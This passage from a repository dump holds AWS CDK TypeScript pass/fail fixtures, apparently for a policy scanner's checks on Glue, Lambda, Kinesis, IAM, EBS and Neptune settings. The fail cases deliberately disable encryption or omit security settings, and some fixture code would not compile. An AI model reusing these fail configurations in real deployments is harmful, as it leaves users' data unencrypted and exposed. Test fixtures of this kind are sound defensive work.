'kmsKeyArn', }, jobBookmarksEncryption: { jobBookmarksEncryptionMode: 'CSE-KMS', kmsKeyArn: 'kmsKeyArn', }, s3Encryptions: [{ s3EncryptionMode: "DISABLE" }], }, name: 'name', }; const cfnSecurityConfigurationProps9: glue.CfnSecurityConfigurationProps = { encryptionConfiguration: { cloudWatchEncryption: { cloudWatchEncryptionMode: 'SSE-KMS', kmsKeyArn: 'kmsKeyArn', }, jobBookmarksEncryption: { jobBookmarksEncryptionMode: 'CSE-KMS', kmsKeyArn: 'kmsKeyArn', }, s3Encryptions: [{ s3EncryptionMode: "SSE-KMS" }], }, name: 'name', }; const cfnSecurityConfigurationProps10: glue.CfnSecurityConfigurationProps = { encryptionConfiguration: { cloudWatchEncryption: { cloudWatchEncryptionMode: 'SSE-KMS', kmsKeyArn: 'kmsKeyArn', }, jobBookmarksEncryption: { jobBookmarksEncryptionMode: 'CSE-KMS', kmsKeyArn: 'kmsKeyArn', }, s3Encryptions: [{ s3EncryptionMode: "SSE-S3" }], }, name: 'name', }; ================================================ FILE: cdk_integration_tests/src/typescript/GlueSecurityConfiguration/fail2.ts ================================================ import { aws_glue as glue } from 'aws-cdk-lib'; const cfnSecurityConfiguration1 = new glue.CfnSecurityConfiguration(this, 'MyCfnSecurityConfiguration', { encryptionConfiguration: { cloudWatchEncryption: { cloudWatchEncryptionMode: 'SSE-KMS', kmsKeyArn: 'kmsKeyArn', }, jobBookmarksEncryption: { jobBookmarksEncryptionMode: 'DISABLE', kmsKeyArn: 'kmsKeyArn', }, s3Encryptions: [], }, name: 'name', }); const cfnSecurityConfiguration2 = new glue.CfnSecurityConfiguration(this, 'MyCfnSecurityConfiguration', { encryptionConfiguration: { cloudWatchEncryption: { cloudWatchEncryptionMode: 'SSE-KMS', kmsKeyArn: 'kmsKeyArn', }, jobBookmarksEncryption: { jobBookmarksEncryptionMode: 'DISABLE', kmsKeyArn: 'kmsKeyArn', }, s3Encryptions: [{ s3EncryptionMode: "SSE-S3" }], }, name: 'name', }); const cfnSecurityConfiguration3 = new glue.CfnSecurityConfiguration(this, 'MyCfnSecurityConfiguration', { encryptionConfiguration: { cloudWatchEncryption: { cloudWatchEncryptionMode: 'SSE-KMS', kmsKeyArn: 'kmsKeyArn', }, jobBookmarksEncryption: { jobBookmarksEncryptionMode: 'DISABLE', kmsKeyArn: 'kmsKeyArn', }, s3Encryptions: [{ s3EncryptionMode: "SSE-KMS" }], }, name: 'name', }); const cfnSecurityConfiguration4 = new glue.CfnSecurityConfiguration(this, 'MyCfnSecurityConfiguration', { encryptionConfiguration: { cloudWatchEncryption: { cloudWatchEncryptionMode: 'SSE-KMS', kmsKeyArn: 'kmsKeyArn', }, jobBookmarksEncryption: { jobBookmarksEncryptionMode: 'DISABLE', kmsKeyArn: 'kmsKeyArn', }, s3Encryptions: [{ s3EncryptionMode: "DISABLE" }], }, name: 'name', }); const cfnSecurityConfiguration5 = new glue.CfnSecurityConfiguration(this, 'MyCfnSecurityConfiguration', { encryptionConfiguration: { cloudWatchEncryption: { cloudWatchEncryptionMode: 'DISABLE', kmsKeyArn: 'kmsKeyArn', }, jobBookmarksEncryption: { jobBookmarksEncryptionMode: 'CSE-KMS', kmsKeyArn: 'kmsKeyArn', }, s3Encryptions: [{ s3EncryptionMode: "DISABLE" }], }, name: 'name', }); const cfnSecurityConfiguration6 = new glue.CfnSecurityConfiguration(this, 'MyCfnSecurityConfiguration', { encryptionConfiguration: { cloudWatchEncryption: { cloudWatchEncryptionMode: 'DISABLE', kmsKeyArn: 'kmsKeyArn', }, jobBookmarksEncryption: { jobBookmarksEncryptionMode: 'CSE-KMS', kmsKeyArn: 'kmsKeyArn', }, s3Encryptions: [{ s3EncryptionMode: "SSE-S3" }], }, name: 'name', }); const cfnSecurityConfiguration7 = new glue.CfnSecurityConfiguration(this, 'MyCfnSecurityConfiguration', { encryptionConfiguration: { cloudWatchEncryption: { cloudWatchEncryptionMode: 'DISABLE', kmsKeyArn: 'kmsKeyArn', }, jobBookmarksEncryption: { jobBookmarksEncryptionMode: 'CSE-KMS', kmsKeyArn: 'kmsKeyArn', }, s3Encryptions: [{ s3EncryptionMode: "SSE-KMS" }], }, name: 'name', }); const cfnSecurityConfiguration8 = new glue.CfnSecurityConfiguration(this, 'MyCfnSecurityConfiguration', { encryptionConfiguration: { cloudWatchEncryption: { cloudWatchEncryptionMode: 'SSE-KMS', kmsKeyArn: 'kmsKeyArn', }, jobBookmarksEncryption: { jobBookmarksEncryptionMode: 'CSE-KMS', kmsKeyArn: 'kmsKeyArn', }, s3Encryptions: [{ s3EncryptionMode: "DISABLE" }], }, name: 'name', }); const cfnSecurityConfiguration9 = new glue.CfnSecurityConfiguration(this, 'MyCfnSecurityConfiguration', { encryptionConfiguration: { cloudWatchEncryption: { cloudWatchEncryptionMode: 'SSE-KMS', kmsKeyArn: 'kmsKeyArn', }, jobBookmarksEncryption: { jobBookmarksEncryptionMode: 'CSE-KMS', kmsKeyArn: 'kmsKeyArn', }, s3Encryptions: [{ s3EncryptionMode: "SSE-KMS" }], }, name: 'name', }); const cfnSecurityConfiguration10 = new glue.CfnSecurityConfiguration(this, 'MyCfnSecurityConfiguration', { encryptionConfiguration: { cloudWatchEncryption: { cloudWatchEncryptionMode: 'SSE-KMS', kmsKeyArn: 'kmsKeyArn', }, jobBookmarksEncryption: { jobBookmarksEncryptionMode: 'CSE-KMS', kmsKeyArn: 'kmsKeyArn', }, s3Encryptions: [{ s3EncryptionMode: "SSE-S3" }], }, name: 'name', }); ================================================ FILE: cdk_integration_tests/src/typescript/GlueSecurityConfiguration/pass.ts ================================================ import { aws_glue as glue } from 'aws-cdk-lib'; const cfnSecurityConfiguration = new glue.CfnSecurityConfiguration(this, 'MyCfnSecurityConfiguration', { encryptionConfiguration: { cloudWatchEncryption: { cloudWatchEncryptionMode: 'SSE-KMS', kmsKeyArn: 'kmsKeyArn', }, jobBookmarksEncryption: { jobBookmarksEncryptionMode: 'CSE-KMS', kmsKeyArn: 'kmsKeyArn', }, s3Encryptions: [{ kmsKeyArn: 'kmsKeyArn', s3EncryptionMode: 'SSE-KMS', }], }, name: 'name', }); const cfnSecurityConfiguration2 = new glue.CfnSecurityConfiguration(this, 'MyCfnSecurityConfiguration', { encryptionConfiguration: { cloudWatchEncryption: { cloudWatchEncryptionMode: 'SSE-KMS', kmsKeyArn: 'kmsKeyArn', }, jobBookmarksEncryption: { jobBookmarksEncryptionMode: 'CSE-KMS', kmsKeyArn: 'kmsKeyArn', }, s3Encryptions: [{ kmsKeyArn: 'kmsKeyArn', s3EncryptionMode: 'SSE-S3', }], }, name: 'name', }); const cfnDataCatalogEncryptionSettingsProps: glue.CfnDataCatalogEncryptionSettingsProps = { catalogId: 'catalogId', dataCatalogEncryptionSettings: { connectionPasswordEncryption: { kmsKeyId: 'kmsKeyId', returnConnectionPasswordEncrypted: true, }, encryptionAtRest: { catalogEncryptionMode : "SSE-KMS", catalogEncryptionServiceRole: 'catalogEncryptionServiceRole', sseAwsKmsKeyId: 'sseAwsKmsKeyId', }, }, }; ================================================ FILE: cdk_integration_tests/src/typescript/GlueSecurityConfigurationEnabled/fail.ts ================================================ import { aws_glue as glue } from 'aws-cdk-lib'; const cfnSecurityConfigurationProps1: glue.CfnCrawlerProps = { name: 'name', }; const cfnSecurityConfigurationProps2: glue.CfnDevEndpointProps = { name: 'name', }; const cfnSecurityConfigurationProps3: glue.CfnJobProps = { name: 'name', }; ================================================ FILE: cdk_integration_tests/src/typescript/GlueSecurityConfigurationEnabled/fail2.ts ================================================ import { aws_glue as glue } from 'aws-cdk-lib'; const cfnSecurityConfiguration1 = new glue.CfnCrawler(this, 'MyCfnSecurityConfiguration', { name: 'name', }); const cfnSecurityConfiguration2 = new glue.CfnDevEndpoint(this, 'MyCfnSecurityConfiguration', { name: 'name', }); const cfnSecurityConfiguration3 = new glue.CfnJob(this, 'MyCfnSecurityConfiguration', { name: 'name', }); ================================================ FILE: cdk_integration_tests/src/typescript/GlueSecurityConfigurationEnabled/pass.ts ================================================ import {aws_glue as glue} from 'aws-cdk-lib'; const cfnSecurityConfiguration1 = new glue.CfnCrawler(this, 'MyCfnSecurityConfiguration', { crawlerSecurityConfiguration: 'securityConfiguration', name: 'name', }); const cfnSecurityConfiguration2 = new glue.CfnDevEndpoint(this, 'MyCfnSecurityConfiguration', { securityConfiguration: 'securityConfiguration', name: 'name', }); const cfnSecurityConfiguration3 = new glue.CfnJob(this, 'MyCfnSecurityConfiguration', { securityConfiguration: 'securityConfiguration', name: 'name', }); const cfnSecurityConfigurationProps1: glue.CfnCrawlerProps = { name: 'name', crawlerSecurityConfiguration: 'securityConfiguration', }; const cfnSecurityConfigurationProps2: glue.CfnDevEndpointProps = { name: 'name', securityConfiguration: 'securityConfiguration', }; const cfnSecurityConfigurationProps3: glue.CfnJobProps = { name: 'name', securityConfiguration: 'securityConfiguration', }; ================================================ FILE: cdk_integration_tests/src/typescript/IAMPolicyAttachedToGroupOrRoles/fail.ts ================================================ import { aws_iam as iam } from 'aws-cdk-lib'; const cfnSecurityConfigurationProps1: iam.PolicyProps = { statements: [{}], users: [{}] }; ================================================ FILE: cdk_integration_tests/src/typescript/IAMPolicyAttachedToGroupOrRoles/fail2.ts ================================================ import { aws_iam as iam } from 'aws-cdk-lib'; const a = new iam.Policy(this, 'userpool-policy', { statements: [new iam.PolicyStatement({ actions: ['cognito-idp:DescribeUserPool'], resources: ['Arn'], })], users: ['sdsd'] }); const b = new iam.Policy(this, 'userpool-policy', { statements: [new iam.PolicyStatement({ actions: ['cognito-idp:DescribeUserPool'], resources: ['Arn'], })], }); console.log('dsd') b.attachToUser({}) const c = new iam.Policy(this, 'userpool-policy', { statements: [new iam.PolicyStatement({ actions: ['cognito-idp:DescribeUserPool'], resources: ['Arn'], })], }); c.attachToUser({}) ================================================ FILE: cdk_integration_tests/src/typescript/IAMPolicyAttachedToGroupOrRoles/pass.ts ================================================ import { aws_iam as iam } from 'aws-cdk-lib'; const a = new iam.Policy(this, 'userpool-policy', { statements: [new iam.PolicyStatement({ actions: ['cognito-idp:DescribeUserPool'], resources: ['Arn'], })], }); const cfnSecurityConfigurationProps1: iam.PolicyProps = { statements: [new iam.PolicyStatement({ actions: ['cognito-idp:DescribeUserPool'], resources: ['Arn'], })], }; ================================================ FILE: cdk_integration_tests/src/typescript/KinesisStreamEncryptionType/fail.ts ================================================ import { aws_kinesis as kinesis } from 'aws-cdk-lib'; const cfnSecurityConfigurationProps1: kinesis.CfnStreamProps = { streamEncryption: { encryptionType: "None", keyId: "dfdf"}, name: 'name', }; const cfnSecurityConfigurationProps2: kinesis.CfnStreamProps = { name: 'name', }; ================================================ FILE: cdk_integration_tests/src/typescript/KinesisStreamEncryptionType/fail2.ts ================================================ import { aws_kinesis as kinesis } from 'aws-cdk-lib'; const cfnSecurityConfiguration1 = new kinesis.CfnStream(this, 'MyCfnSecurityConfiguration', { streamEncryption: { encryptionType: "None", keyId: "dfdf"}, name: 'name', }); const cfnSecurityConfiguration2 = new kinesis.CfnStream(this, 'MyCfnSecurityConfiguration', { name: 'name', }); ================================================ FILE: cdk_integration_tests/src/typescript/KinesisStreamEncryptionType/pass.ts ================================================ import { aws_kinesis as kinesis } from 'aws-cdk-lib'; const cfnSecurityConfigurationProps1: kinesis.CfnStreamProps = { streamEncryption: { encryptionType: "KMS", keyId: "dfdf"}, name: 'name', }; ================================================ FILE: cdk_integration_tests/src/typescript/LambdaDLQConfigured/fail.ts ================================================ import { aws_lambda as lambda } from 'aws-cdk-lib'; import { aws_sam as sam } from 'aws-cdk-lib'; const cfnSecurityConfigurationProps1: lambda.FunctionProps = { name: 'name', role: "", }; const cfnSecurityConfigurationProps1: lambda.CfnFunctionProps = { name: 'name', role: "", }; const cfnSecurityConfigurationProps2: sam.CfnFunctionProps = { name: 'name', }; ================================================ FILE: cdk_integration_tests/src/typescript/LambdaDLQConfigured/fail2.ts ================================================ import { aws_lambda as lambda } from 'aws-cdk-lib'; import { aws_sam as sam } from 'aws-cdk-lib'; const cfnSecurityConfiguration1 = new lambda.Function(this, 'MyCfnSecurityConfiguration', { role: "", name: 'name', }); const cfnSecurityConfiguration2 = new lambda.CfnFunction(this, 'MyCfnSecurityConfiguration', { role: "", name: 'name', }); const cfnSecurityConfiguration3 = new sam.CfnFunction(this, 'MyCfnSecurityConfiguration', { role: "", name: 'name', }); ================================================ FILE: cdk_integration_tests/src/typescript/LambdaDLQConfigured/pass.ts ================================================ import {aws_lambda as lambda} from 'aws-cdk-lib'; import {aws_sam as sam} from 'aws-cdk-lib'; const cfnSecurityConfiguration1 = new lambda.Function(this, 'MyCfnSecurityConfiguration', { role: "", name: 'name', deadLetterQueue: {}, deadLetterQueueEnabled: true, }); const cfnSecurityConfiguration2 = new lambda.CfnFunction(this, 'MyCfnSecurityConfiguration', { role: "", name: 'name', deadLetterConfig: {}, }); const cfnSecurityConfiguration2 = new sam.CfnFunction(this, 'MyCfnSecurityConfiguration', { role: "", name: 'name', deadLetterQueue: {}, }); ================================================ FILE: cdk_integration_tests/src/typescript/LambdaEnvironmentCredentials/fail.ts ================================================ import {aws_lambda as lambda} from 'aws-cdk-lib'; import {aws_sam as sam} from 'aws-cdk-lib'; const cfnSecurityConfigurationProps1: lambda.FunctionProps = { name: 'name', role: "", environment: { "bla": "bla", } }; const cfnSecurityConfigurationProps2: lambda.CfnFunctionProps = { name: 'name', role: "", environment: { variables: { "bla": "bla", } } }; const cfnSecurityConfigurationProps3: sam.CfnFunctionProps = { name: 'name', environment: { variables: { bla: "bla", } } }; ================================================ FILE: cdk_integration_tests/src/typescript/LambdaEnvironmentCredentials/fail2.ts ================================================ import { aws_lambda as lambda } from 'aws-cdk-lib'; import { aws_sam as sam } from 'aws-cdk-lib'; const cfnSecurityConfiguration1 = new lambda.Function(this, 'MyCfnSecurityConfiguration', { role: "", name: 'name', environment: { "bla": "bla", } }); const cfnSecurityConfiguration2 = new lambda.CfnFunction(this, 'MyCfnSecurityConfiguration', { role: "", name: 'name', environment: { variables: { "bla": "bla", } } }); const cfnSecurityConfiguration3 = new sam.CfnFunction(this, 'MyCfnSecurityConfiguration', { role: "", name: 'name', environment: { variables: { bla: "bla", } } }); ================================================ FILE: cdk_integration_tests/src/typescript/LambdaEnvironmentCredentials/pass.ts ================================================ import {aws_lambda as lambda} from 'aws-cdk-lib'; import {aws_sam as sam} from 'aws-cdk-lib'; const cfnSecurityConfiguration1 = new lambda.Function(this, 'MyCfnSecurityConfiguration', { role: "", name: 'name', environment: { "bla": "bla", }, environmentEncryption: {} }); const cfnSecurityConfiguration2 = new lambda.CfnFunction(this, 'MyCfnSecurityConfiguration', { role: "", name: 'name', environment: { variables: { "bla": "bla", } }, kmsKeyArn: "arn" }); const cfnSecurityConfiguration3 = new sam.CfnFunction(this, 'MyCfnSecurityConfiguration', { role: "", name: 'name', environment: { variables: { bla: "bla", } }, kmsKeyArn: "arn" }); const cfnSecurityConfigurationProps1: lambda.FunctionProps = { name: 'name', role: "", environment: { "bla": "bla", }, environmentEncryption: {} }; const cfnSecurityConfigurationProps2: lambda.CfnFunctionProps = { name: 'name', role: "", environment: { variables: { "bla": "bla", } }, kmsKeyArn: "arn" }; const cfnSecurityConfigurationProps3: sam.CfnFunctionProps = { name: 'name', environment: { variables: { bla: "bla", } }, kmsKeyArn: "arn" }; ================================================ FILE: cdk_integration_tests/src/typescript/LambdaEnvironmentEncryptionSettings/fail.ts ================================================ import {aws_lambda as lambda} from 'aws-cdk-lib'; import {aws_sam as sam} from 'aws-cdk-lib'; const cfnSecurityConfigurationProps1: lambda.FunctionProps = { name: 'name', role: "", environment: { "bla": "bla", } }; const cfnSecurityConfigurationProps2: lambda.CfnFunctionProps = { name: 'name', role: "", environment: { variables: { "bla": "bla", } } }; const cfnSecurityConfigurationProps3: sam.CfnFunctionProps = { name: 'name', environment: { variables: { bla: "bla", } } }; ================================================ FILE: cdk_integration_tests/src/typescript/LambdaEnvironmentEncryptionSettings/fail2.ts ================================================ import { aws_lambda as lambda } from 'aws-cdk-lib'; import { aws_sam as sam } from 'aws-cdk-lib'; const cfnSecurityConfiguration1 = new lambda.Function(this, 'MyCfnSecurityConfiguration', { role: "", name: 'name', environment: { "bla": "bla", }, }); const cfnSecurityConfiguration2 = new lambda.CfnFunction(this, 'MyCfnSecurityConfiguration', { role: "", name: 'name', environment: { variables: { "bla": "bla", } } }); const cfnSecurityConfiguration3 = new sam.CfnFunction(this, 'MyCfnSecurityConfiguration', { role: "", name: 'name', environment: { variables: { bla: "bla", } } }); ================================================ FILE: cdk_integration_tests/src/typescript/LambdaEnvironmentEncryptionSettings/pass.ts ================================================ import {aws_lambda as lambda} from 'aws-cdk-lib'; import {aws_sam as sam} from 'aws-cdk-lib'; const cfnSecurityConfiguration1 = new lambda.Function(this, 'MyCfnSecurityConfiguration', { role: "", name: 'name', }); const cfnSecurityConfiguration2 = new lambda.CfnFunction(this, 'MyCfnSecurityConfiguration', { role: "", name: 'name', }); const cfnSecurityConfiguration3 = new sam.CfnFunction(this, 'MyCfnSecurityConfiguration', { role: "", name: 'name', }); const cfnSecurityConfigurationProps1: lambda.FunctionProps = { name: 'name', role: "", }; const cfnSecurityConfigurationProps2: lambda.CfnFunctionProps = { name: 'name', role: "", }; const cfnSecurityConfigurationProps3: sam.CfnFunctionProps = { name: 'name', }; ================================================ FILE: cdk_integration_tests/src/typescript/LambdaFunctionLevelConcurrentExecutionLimit/fail.ts ================================================ import {aws_lambda as lambda} from 'aws-cdk-lib'; import {aws_sam as sam} from 'aws-cdk-lib'; const cfnSecurityConfigurationProps1: lambda.FunctionProps = { name: 'name', role: "", environment: { "bla": "bla", } }; const cfnSecurityConfigurationProps2: lambda.CfnFunctionProps = { name: 'name', role: "", environment: { variables: { "bla": "bla", } } }; const cfnSecurityConfigurationProps3: sam.CfnFunctionProps = { name: 'name', environment: { variables: { bla: "bla", } } }; ================================================ FILE: cdk_integration_tests/src/typescript/LambdaFunctionLevelConcurrentExecutionLimit/fail2.ts ================================================ import { aws_lambda as lambda } from 'aws-cdk-lib'; import { aws_sam as sam } from 'aws-cdk-lib'; const cfnSecurityConfiguration1 = new lambda.Function(this, 'MyCfnSecurityConfiguration', { role: "", name: 'name', environment: { "bla": "bla", } }); const cfnSecurityConfiguration2 = new lambda.CfnFunction(this, 'MyCfnSecurityConfiguration', { role: "", name: 'name', environment: { variables: { "bla": "bla", } } }); const cfnSecurityConfiguration3 = new sam.CfnFunction(this, 'MyCfnSecurityConfiguration', { role: "", name: 'name', environment: { variables: { bla: "bla", } } }); ================================================ FILE: cdk_integration_tests/src/typescript/LambdaFunctionLevelConcurrentExecutionLimit/pass.ts ================================================ import {aws_lambda as lambda} from 'aws-cdk-lib'; import {aws_sam as sam} from 'aws-cdk-lib'; const cfnSecurityConfiguration1 = new lambda.Function(this, 'MyCfnSecurityConfiguration', { role: "", name: 'name', environment: { "bla": "bla", }, environmentEncryption: {}, "reservedConcurrentExecutions": 1, }); const cfnSecurityConfiguration2 = new lambda.CfnFunction(this, 'MyCfnSecurityConfiguration', { role: "", name: 'name', environment: { variables: { "bla": "bla", } }, kmsKeyArn: "arn", reservedConcurrentExecutions: 1, }); const cfnSecurityConfiguration3 = new sam.CfnFunction(this, 'MyCfnSecurityConfiguration', { role: "", name: 'name', environment: { variables: { bla: "bla", } }, kmsKeyArn: "arn", reservedConcurrentExecutions: 1, }); const cfnSecurityConfigurationProps1: lambda.FunctionProps = { name: 'name', role: "", environment: { "bla": "bla", }, environmentEncryption: {}, reservedConcurrentExecutions: 1, }; const cfnSecurityConfigurationProps2: lambda.CfnFunctionProps = { name: 'name', role: "", environment: { variables: { "bla": "bla", } }, kmsKeyArn: "arn", reservedConcurrentExecutions: 1, }; const cfnSecurityConfigurationProps3: sam.CfnFunctionProps = { name: 'name', environment: { variables: { bla: "bla", } }, kmsKeyArn: "arn", reservedConcurrentExecutions: 1, }; ================================================ FILE: cdk_integration_tests/src/typescript/LambdaInVPC/fail.ts ================================================ import {aws_lambda as lambda} from 'aws-cdk-lib'; import {aws_sam as sam} from 'aws-cdk-lib'; const cfnSecurityConfigurationProps1: lambda.FunctionProps = { name: 'name', role: "", environment: { "bla": "bla", } }; const cfnSecurityConfigurationProps2: lambda.CfnFunctionProps = { name: 'name', role: "", environment: { variables: { "bla": "bla", } } }; const cfnSecurityConfigurationProps3: sam.CfnFunctionProps = { name: 'name', environment: { variables: { bla: "bla", } } }; ================================================ FILE: cdk_integration_tests/src/typescript/LambdaInVPC/fail2.ts ================================================ import { aws_lambda as lambda } from 'aws-cdk-lib'; import { aws_sam as sam } from 'aws-cdk-lib'; const cfnSecurityConfiguration1 = new lambda.Function(this, 'MyCfnSecurityConfiguration', { role: "", name: 'name', }); const cfnSecurityConfiguration2 = new lambda.CfnFunction(this, 'MyCfnSecurityConfiguration', { role: "", name: 'name', environment: { variables: { "bla": "bla", } } }); const cfnSecurityConfiguration3 = new sam.CfnFunction(this, 'MyCfnSecurityConfiguration', { role: "", name: 'name', environment: { variables: { bla: "bla", } } }); ================================================ FILE: cdk_integration_tests/src/typescript/LambdaInVPC/pass.ts ================================================ import {aws_lambda as lambda} from 'aws-cdk-lib'; import {aws_sam as sam} from 'aws-cdk-lib'; const cfnSecurityConfiguration1 = new lambda.Function(this, 'MyCfnSecurityConfiguration', { role: "", name: 'name', environment: { "bla": "bla", }, environmentEncryption: {}, "vpc": {}, }); const cfnSecurityConfiguration2 = new lambda.CfnFunction(this, 'MyCfnSecurityConfiguration', { role: "", name: 'name', environment: { variables: { "bla": "bla", } }, kmsKeyArn: "arn", vpcConfig: {}, }); const cfnSecurityConfiguration3 = new sam.CfnFunction(this, 'MyCfnSecurityConfiguration', { role: "", name: 'name', environment: { variables: { bla: "bla", } }, kmsKeyArn: "arn", vpcConfig: {}, }); const cfnSecurityConfigurationProps1: lambda.FunctionProps = { name: 'name', role: "", environment: { "bla": "bla", }, environmentEncryption: {}, reservedConcurrentExecutions: 1, }; const cfnSecurityConfigurationProps2: lambda.CfnFunctionProps = { name: 'name', role: "", environment: { variables: { "bla": "bla", } }, kmsKeyArn: "arn", reservedConcurrentExecutions: 1, }; const cfnSecurityConfigurationProps3: sam.CfnFunctionProps = { name: 'name', environment: { variables: { bla: "bla", } }, kmsKeyArn: "arn", reservedConcurrentExecutions: 1, }; ================================================ FILE: cdk_integration_tests/src/typescript/LaunchConfigurationEBSEncryption/fail.ts ================================================ import {aws_autoscaling as autoscaling} from 'aws-cdk-lib'; const cfnSecurityConfigurationProps1: autoscaling.CfnLaunchConfigurationProps = { imageId: 'imageId', instanceType: 'instanceType', // the properties below are optional associatePublicIpAddress: false, blockDeviceMappings: [{ deviceName: 'deviceName', // the properties below are optional ebs: { deleteOnTermination: false, encrypted: false, iops: 123, snapshotId: 'snapshotId', throughput: 123, volumeSize: 123, volumeType: 'volumeType', }, noDevice: false, virtualName: 'virtualName', }], classicLinkVpcId: 'classicLinkVpcId', classicLinkVpcSecurityGroups: ['classicLinkVpcSecurityGroups'], ebsOptimized: false, iamInstanceProfile: 'iamInstanceProfile', instanceId: 'instanceId', instanceMonitoring: false, kernelId: 'kernelId', keyName: 'keyName', launchConfigurationName: 'launchConfigurationName', metadataOptions: { httpEndpoint: 'httpEndpoint', httpPutResponseHopLimit: 123, httpTokens: 'httpTokens', }, placementTenancy: 'placementTenancy', ramDiskId: 'ramDiskId', securityGroups: ['securityGroups'], spotPrice: 'spotPrice', userData: 'userData', }; ================================================ FILE: cdk_integration_tests/src/typescript/LaunchConfigurationEBSEncryption/fail2.ts ================================================ import {aws_autoscaling as autoscaling} from 'aws-cdk-lib'; const cfnSecurityConfiguration1 = new autoscaling.CfnLaunchConfiguration(this, 'MyCfnSecurityConfiguration', { imageId: 'imageId', instanceType: 'instanceType', blockDeviceMappings: [{ deviceName: 'deviceName', // the properties below are optional ebs: { deleteOnTermination: false, encrypted: false, iops: 123, snapshotId: 'snapshotId', throughput: 123, volumeSize: 123, volumeType: 'volumeType', }, noDevice: false, virtualName: 'virtualName', }], }); const cfnSecurityConfiguration2 = new autoscaling.CfnLaunchConfiguration(this, 'MyCfnSecurityConfiguration', { blockDeviceMappings: [{ ebs: { encrypted: false, }, }], }); ================================================ FILE: cdk_integration_tests/src/typescript/LaunchConfigurationEBSEncryption/pass.ts ================================================ import { aws_autoscaling as autoscaling } from 'aws-cdk-lib'; const cfnSecurityConfiguration1 = new autoscaling.CfnLaunchConfiguration(this, 'MyCfnSecurityConfiguration', { imageId: 'imageId', instanceType: 'instanceType', blockDeviceMappings: [{ deviceName: 'deviceName', // the properties below are optional ebs: { deleteOnTermination: false, encrypted: true, iops: 123, snapshotId: 'snapshotId', throughput: 123, volumeSize: 123, volumeType: 'volumeType', }, noDevice: false, virtualName: 'virtualName', }], }); const cfnSecurityConfiguration2 = new autoscaling.CfnLaunchConfiguration(this, 'MyCfnSecurityConfiguration', { imageId: 'imageId', instanceType: 'instanceType', blockDeviceMappings: [{ deviceName: 'deviceName', // the properties below are optional ebs: { deleteOnTermination: false, iops: 123, snapshotId: 'snapshotId', throughput: 123, volumeSize: 123, volumeType: 'volumeType', }, noDevice: false, virtualName: 'virtualName', }], }); const cfnSecurityConfiguration3 = new autoscaling.CfnLaunchConfiguration(this, 'MyCfnSecurityConfiguration', { imageId: 'imageId', instanceType: 'instanceType', blockDeviceMappings: [{ deviceName: 'deviceName', noDevice: false, virtualName: 'virtualName', }], }); const cfnSecurityConfigurationProps1: autoscaling.CfnLaunchConfigurationProps = { imageId: 'imageId', instanceType: 'instanceType', // the properties below are optional associatePublicIpAddress: false, blockDeviceMappings: [{ deviceName: 'deviceName', // the properties below are optional ebs: { deleteOnTermination: false, encrypted: true, iops: 123, snapshotId: 'snapshotId', throughput: 123, volumeSize: 123, volumeType: 'volumeType', }, noDevice: false, virtualName: 'virtualName', }], classicLinkVpcId: 'classicLinkVpcId', classicLinkVpcSecurityGroups: ['classicLinkVpcSecurityGroups'], ebsOptimized: false, iamInstanceProfile: 'iamInstanceProfile', instanceId: 'instanceId', instanceMonitoring: false, kernelId: 'kernelId', keyName: 'keyName', launchConfigurationName: 'launchConfigurationName', metadataOptions: { httpEndpoint: 'httpEndpoint', httpPutResponseHopLimit: 123, httpTokens: 'httpTokens', }, placementTenancy: 'placementTenancy', ramDiskId: 'ramDiskId', securityGroups: ['securityGroups'], spotPrice: 'spotPrice', userData: 'userData', }; const cfnSecurityConfigurationProps2: autoscaling.CfnLaunchConfigurationProps = { imageId: 'imageId', instanceType: 'instanceType', // the properties below are optional associatePublicIpAddress: false, blockDeviceMappings: [{ deviceName: 'deviceName', noDevice: false, virtualName: 'virtualName', }], classicLinkVpcId: 'classicLinkVpcId', classicLinkVpcSecurityGroups: ['classicLinkVpcSecurityGroups'], ebsOptimized: false, iamInstanceProfile: 'iamInstanceProfile', instanceId: 'instanceId', instanceMonitoring: false, kernelId: 'kernelId', keyName: 'keyName', launchConfigurationName: 'launchConfigurationName', metadataOptions: { httpEndpoint: 'httpEndpoint', httpPutResponseHopLimit: 123, httpTokens: 'httpTokens', }, placementTenancy: 'placementTenancy', ramDiskId: 'ramDiskId', securityGroups: ['securityGroups'], spotPrice: 'spotPrice', userData: 'userData', }; const cfnSecurityConfigurationProps3: autoscaling.CfnLaunchConfigurationProps = { imageId: 'imageId', instanceType: 'instanceType', // the properties below are optional associatePublicIpAddress: false, classicLinkVpcId: 'classicLinkVpcId', classicLinkVpcSecurityGroups: ['classicLinkVpcSecurityGroups'], ebsOptimized: false, iamInstanceProfile: 'iamInstanceProfile', instanceId: 'instanceId', instanceMonitoring: false, kernelId: 'kernelId', keyName: 'keyName', launchConfigurationName: 'launchConfigurationName', metadataOptions: { httpEndpoint: 'httpEndpoint', httpPutResponseHopLimit: 123, httpTokens: 'httpTokens', }, placementTenancy: 'placementTenancy', ramDiskId: 'ramDiskId', securityGroups: ['securityGroups'], spotPrice: 'spotPrice', userData: 'userData', }; ================================================ FILE: cdk_integration_tests/src/typescript/NeptuneClusterStorageEncrypted/fail.ts ================================================ import { aws_neptune as neptune } from 'aws-cdk-lib'; const cfnDBCluster1: neptune.CfnDBClusterProps = { associatedRoles: [{ roleArn: 'roleArn', // the properties below are optional featureName: 'featureName', }], availabilityZones: ['availabilityZones'], backupRetentionPeriod: 123, copyTagsToSnapshot: false, dbClusterIdentifier: 'dbClusterIdentifier', dbClusterParameterGroupName: 'dbClusterParameterGroupName', dbInstanceParameterGroupName: 'dbInstanceParameterGroupName', dbPort: 123, dbSubnetGroupName: 'dbSubnetGroupName', deletionProtection: false, enableCloudwatchLogsExports: ['enableCloudwatchLogsExports'], engineVersion: 'engineVersion', iamAuthEnabled: false, kmsKeyId: 'kmsKeyId', preferredBackupWindow: 'preferredBackupWindow', preferredMaintenanceWindow: 'preferredMaintenanceWindow', restoreToTime: 'restoreToTime', restoreType: 'restoreType', serverlessScalingConfiguration: { maxCapacity: 123, minCapacity: 123, }, snapshotIdentifier: 'snapshotIdentifier', sourceDbClusterIdentifier: 'sourceDbClusterIdentifier', storageEncrypted: false, tags: [{ key: 'key', value: 'value', }], useLatestRestorableTime: false, vpcSecurityGroupIds: ['vpcSecurityGroupIds'], }); const cfnDBCluster2: neptune.CfnDBClusterProps = { storageEncrypted: false, }; ================================================ FILE: cdk_integration_tests/src/typescript/NeptuneClusterStorageEncrypted/fail2.ts ================================================ import { aws_neptune as neptune } from 'aws-cdk-lib'; const cfnDBCluster1 = new neptune.CfnDBCluster(this, 'MyCfnDBCluster', /* all optional props */ { associatedRoles: [{ roleArn: 'roleArn', // the properties below are optional featureName: 'featureName', }], availabilityZones: ['availabilityZones'], 